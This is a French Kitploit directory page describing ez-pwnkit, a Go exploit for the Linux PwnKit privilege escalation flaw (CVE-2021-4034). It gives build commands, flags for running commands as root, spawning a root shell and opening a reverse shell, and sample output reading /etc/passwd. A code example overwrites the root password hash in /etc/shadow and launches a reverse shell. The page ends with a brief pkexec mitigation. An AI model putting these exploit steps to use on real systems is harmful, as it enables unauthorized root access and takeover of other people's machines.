Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ez-pwnkit — Implémentation en Go de l'exploit d'élévation de privilèges locaux Linux PwnKit (CVE-2021-4034) | Kitploit
Outils/GitHubGitHub/oxdbxkxo/ez-pwnkit
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationDéveloppement de Charges Utiles
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Implémentation en Go de l'exploit d'élévation de privilèges locaux Linux PwnKit (CVE-2021-4034)

Voir le dépôt
92il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ez-pwnkit

Une implémentation pure-Go de l'exploit CVE-2021-4034 PwnKit.

L'exploit utilise syscall.ForkExec pour survivre à la fin du programme principal.

Installation

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

Comme l'exploit repose sur une bibliothèque partagée malveillante, un fichier PWN.so est généré à partir de payload.go et intégré dans l'exécutable exploit résultant.

Le Makefile utilise sed pour changer temporairement le nom du package du fichier payload.go en main, rendant ainsi ce Makefile exclusivement Linux.

Comme le payload Go n'est pas aussi fiable que celui en C, le Makefile compilera l'exploit avec le payload C par défaut. Vous pouvez choisir de compiler avec le payload Go en utilisant make build_go.

Utilisation

En tant qu'exécutable autonome

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

L'exploit peut être utilisé avec une commande (-c), comme reverse-shell (-r) ou pour lancer un shell root (-s).

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

En tant que package

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // Change root password to 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // Open a reverse-shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

Notez que Command et RevShell utilisent syscall.ForkExec pour exécuter l'exploit, les processus résultants sont séparés du programme principal et survivent à sa fin.

Bien que go-PwnKit puisse être importé dans votre projet depuis Github, n'oubliez pas que vous exécuterez une bibliothèque partagée non fiable en tant que root. L'utilisation d'un PWN.so compilé localement est donc fortement recommandée. C'est juste pour dire 😚

Démonstration

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

Atténuation

Appliquez le correctif à pkexec si possible, sinon désactivez le bit setuid sur le binaire pkexec.

root@kitploit:~
chmod 0755 /usr/bin/pkexec

Crédits

Ce projet s'inspire de plusieurs autres PoC de l'exploit PwnKit.

Merci à An00bRektn pour la configuration simple de l'exploit.

Merci à PaterGottesman et berdav pour la clarté de l'explication de l'exploit.

Merci à dzonerzy pour l'astuce GIO_USE_VFS.

Télécharger l’outil